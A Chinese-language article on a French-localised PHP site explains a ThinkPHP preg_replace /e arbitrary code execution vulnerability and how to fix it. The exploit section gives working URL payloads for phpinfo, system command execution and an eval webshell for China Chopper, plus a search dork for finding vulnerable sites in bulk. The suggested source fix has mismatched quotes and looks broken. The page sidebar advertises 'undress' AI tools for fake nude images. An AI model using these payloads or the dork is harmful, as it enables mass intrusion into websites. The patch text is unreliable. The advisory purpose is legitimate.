Maison php教程 php手册 ThinkPHP框架任意代码执行漏洞的利用及其修复方法

ThinkPHP框架任意代码执行漏洞的利用及其修复方法

Jun 13, 2016 am 09:32 AM
thinkphp框架 修复 漏洞

ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
 
然而近期thinkphp框架爆出了一个任意代码执行漏洞,其危害性相当的高,漏洞利用方法如下:
 

index.php/module/aciton/param1/${@print(THINK_VERSION)}
 
index.php/module/aciton/param1/${@function_all()}
Copier après la connexion

其中的function_all代表任何函数,比如:

index.php/module/aciton/param1/${@phpinfo()}
Copier après la connexion

就可以获取服务器的系统配置信息等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al

Copier après la connexion

可以列出网站文件列表

index.php/module/action/param1/{${eval($_POST[s])}}

Copier après la connexion

就可以直接执行一句话代码,用菜刀直接连接.

这样黑客们就可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。

thinkphp框架执行任意代码漏洞修复方法:

用户可下载官方发布的补丁:

http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838

或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

Copier après la connexion

修改为:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

Copier après la connexion

将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
 
注:本文仅供学习参考使用,请不要用于非法用途。

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

AI Hentai Generator

AI Hentai Generator

Générez AI Hentai gratuitement.

Article chaud

R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
2 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Repo: Comment relancer ses coéquipiers
4 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: Comment obtenir des graines géantes
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Combien de temps faut-il pour battre Split Fiction?
3 Il y a quelques semaines By DDD

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Cet identifiant Apple n'est pas encore utilisé dans l'iTunes Store : correctif Cet identifiant Apple n'est pas encore utilisé dans l'iTunes Store : correctif Jun 10, 2024 pm 05:42 PM

Lors de la connexion à iTunesStore à l'aide de l'AppleID, cette erreur indiquant "Cet AppleID n'a pas été utilisé dans iTunesStore" peut s'afficher à l'écran. Il n'y a pas de messages d'erreur à craindre, vous pouvez les corriger en suivant ces ensembles de solutions. Correctif 1 – Modifier l'adresse de livraison La principale raison pour laquelle cette invite apparaît dans l'iTunes Store est que vous n'avez pas la bonne adresse dans votre profil AppleID. Étape 1 – Tout d’abord, ouvrez les paramètres iPhone sur votre iPhone. Étape 2 – AppleID doit être au-dessus de tous les autres paramètres. Alors, ouvrez-le. Étape 3 – Une fois sur place, ouvrez l’option « Paiement et expédition ». Étape 4 – Vérifiez votre accès à l'aide de Face ID. étape

Comment réparer les yeux rouges sur iPhone Comment réparer les yeux rouges sur iPhone Feb 23, 2024 pm 04:31 PM

Vous avez donc pris de superbes photos lors de votre dernière fête, mais malheureusement, la plupart des photos que vous avez prises étaient des yeux rouges. La photo elle-même est superbe, mais les yeux rouges gâchent en quelque sorte l'image. Sans oublier que certaines de ces photos de fête peuvent provenir des téléphones de vos amis. Aujourd'hui, nous verrons comment supprimer les yeux rouges des photos. Quelle est la cause des yeux rouges sur la photo ? Les yeux rouges surviennent souvent lors de la prise de photos avec flash. En effet, la lumière du flash brille directement à l'arrière de l'œil, ce qui fait que les vaisseaux sanguins sous l'œil réfléchissent la lumière, donnant l'effet d'yeux rouges sur la photo. Heureusement, grâce aux progrès continus de la technologie, certains appareils photo sont désormais équipés de fonctions de correction des yeux rouges qui peuvent résoudre efficacement ce problème. En utilisant cette fonctionnalité, l'appareil photo prend des photos

Comment résoudre le problème de l'échec de Win11 à vérifier les informations d'identification ? Comment résoudre le problème de l'échec de Win11 à vérifier les informations d'identification ? Jan 30, 2024 pm 02:03 PM

Lorsque certains utilisateurs Win11 se connectent à l'aide de leurs informations d'identification, ils reçoivent un message d'erreur indiquant que vos informations d'identification ne peuvent pas être vérifiées. Que se passe-t-il ? Après que l'éditeur ait étudié ce problème, j'ai découvert qu'il pouvait y avoir plusieurs situations différentes qui causaient directement ou indirectement ce problème. Jetons un coup d'œil avec l'éditeur.

Un guide simple pour résoudre les problèmes d'écran bleu de Windows 11 Un guide simple pour résoudre les problèmes d'écran bleu de Windows 11 Dec 27, 2023 pm 02:26 PM

De nombreux amis rencontrent toujours des écrans bleus lorsqu'ils utilisent des systèmes d'exploitation informatiques. Même le dernier système Win11 ne peut pas échapper au sort des écrans bleus. Par conséquent, je vous propose aujourd'hui un tutoriel sur la façon de réparer les écrans bleus Win11. Que vous ayez rencontré ou non un écran bleu, vous pouvez d'abord l'apprendre au cas où vous en auriez besoin. Comment réparer la méthode de l'écran bleu Win11 1. Si nous rencontrons un écran bleu, redémarrez d'abord le système et vérifiez s'il peut démarrer normalement. 2. S'il peut démarrer normalement, cliquez avec le bouton droit sur "Ordinateur" sur le bureau et sélectionnez "Gérer". 3. Développez ensuite "Outils système" sur le côté gauche de la fenêtre contextuelle et sélectionnez "Observateur d'événements". 4. Dans le Observateur d'événements, nous verrons quel problème spécifique a causé l'écran bleu. 5. Ensuite, suivez simplement la situation et les événements sur l'écran bleu

Mar 22, 2024 pm 12:45 PM

Un guide complet des erreurs PHP500 : causes, diagnostics et correctifs Au cours du développement PHP, nous rencontrons souvent des erreurs avec le code d'état HTTP 500. Cette erreur est généralement appelée « 500InternalServerError », ce qui signifie que des erreurs inconnues se sont produites lors du traitement de la requête côté serveur. Dans cet article, nous explorerons les causes courantes des erreurs PHP500, comment les diagnostiquer et comment les corriger, et fournirons des exemples de code spécifiques pour référence. Causes courantes des erreurs 1.500 1.

Comment réparer le volume ne peut pas être ajusté dans WIN10 Comment réparer le volume ne peut pas être ajusté dans WIN10 Mar 27, 2024 pm 05:16 PM

1. Appuyez sur win+r pour ouvrir la fenêtre d'exécution, entrez [regedit] et appuyez sur Entrée pour ouvrir l'éditeur de registre. 2. Dans l'éditeur de registre ouvert, cliquez pour développer [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]. Dans l'espace vide à droite, cliquez avec le bouton droit et sélectionnez [Nouveau - Valeur de chaîne], puis renommez-le en [systray.exe]. 3. Double-cliquez pour ouvrir systray.exe, modifiez ses données numériques en [C:WindowsSystem32systray.exe] et cliquez sur [OK] pour enregistrer les paramètres.

Correction de l'erreur d'écran bleu aksfridge.sys dans Windows 11/10 Correction de l'erreur d'écran bleu aksfridge.sys dans Windows 11/10 Feb 11, 2024 am 11:30 AM

Si vous rencontrez une erreur d'écran bleu aksfridge.sys après la mise à niveau vers Windows 11 ou Windows 10, cet article vous proposera des solutions. Vous pouvez essayer les méthodes suivantes pour résoudre ce problème avec succès. Le véritable fichier aksfridge.sys est le composant logiciel d'AladdinHASP d'AladdinKnowledgeSystems. AladdinHASP (Hardware Anti-Software Piracy) est une suite de logiciels de protection et de licence de gestion des droits numériques (DRM). Aksfridge.sys est un pilote de filtre nécessaire au bon fonctionnement de HASP. Ce composant ajoute la prise en charge des périphériques externes spécialisés. Matériel anti-piratage logiciel, également connu sous le nom d'AladdinHAS

Comment résoudre le problème de l'impossibilité d'accéder à Internet en raison d'un pilote de carte réseau anormal Comment résoudre le problème de l'impossibilité d'accéder à Internet en raison d'un pilote de carte réseau anormal Jan 06, 2024 pm 06:33 PM

Certains amis constatent que leurs ordinateurs ne peuvent pas accéder à Internet à cause de pilotes de carte réseau anormaux. Ils veulent savoir comment résoudre ce problème. En fait, les systèmes actuels ont des fonctions de réparation de pilotes intégrées, nous n'avons donc besoin que de mettre à jour manuellement le pilote. cela ne fonctionne pas, alors nous pouvons le réparer. Le logiciel pilote peut être utilisé. Comment résoudre le problème selon lequel le pilote de la carte réseau est anormal et ne peut pas se connecter à Internet : PS : si ce problème survient soudainement, vous pouvez d'abord essayer de redémarrer l'ordinateur. Si cela ne fonctionne toujours pas après le redémarrage, poursuivez les opérations suivantes. . Méthode 1 : 1. Tout d'abord, faites un clic droit sur la barre des tâches et sélectionnez « Menu Démarrer ». 2. Ouvrez « Gestionnaire de périphériques » dans le menu contextuel. 3. Cliquez sur « Adaptateur réseau », puis sélectionnez « Mettre à jour le pilote » et cliquez sur « Rechercher automatiquement le pilote ». Une fois la mise à jour terminée, vous pouvez surfer sur Internet normalement. 5. Certains utilisateurs sont également concernés par le problème.

See all articles